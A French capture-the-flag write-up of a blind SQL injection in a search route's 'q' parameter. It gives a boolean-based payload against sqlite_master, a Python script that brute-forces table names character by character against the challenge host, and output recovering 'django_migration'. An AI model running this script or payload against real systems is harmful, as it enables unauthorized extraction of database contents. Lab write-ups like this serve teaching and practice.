Skip to content

SQL Injection


Description

Write Up: Guillaume
Créateur: WOCSA
Difficulté: Inconnu


Enoncé

Une SQL Injection est présente lorsqu'un utilisateur veut effectuer une recherche sur la route "/search_tutorial" via le paramètre "?q=". En effet il est possible de récupérer les éléments d'une table de la DB grâce au payload suivant : '||(select (case substr(name,1,1) when 'a' then 'a' else 'z' end) from sqlite_master limit 1)||'

Ce payload vérifie si le premier caractère de la colonne 'name' de la table 'sqlite_master' vaut 'a'. Si 'name'='a' alors les projets retourné seront des projets avec la lettre 'a' sinon si 'name' est différent de 'a' les projets avec un 'z' seront retourné.


Solution détaillée

Scripts pour sqli:

import requests

i = 1
data = ''
while True:
    for c in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~":
        payload = f"'||(select (case substr(name,{i},1) when '{c}' then 'a' else 'z' end) from sqlite_master limit 1)||'"
        r = requests.get(f"http://vu9piqbr.3xploit.me/search_tutorial/?q={payload}")
        if len(r.text) > 50000:
            data+=c
            print(data)
            break
    i+=1

Résultat:

$ /bin/python3 exploit.py
d
dj
dja
djan
djang
django
django_
django_m
django_mi
django_mig
django_migr
django_migra
django_migrat
django_migrati
django_migratio
django_migration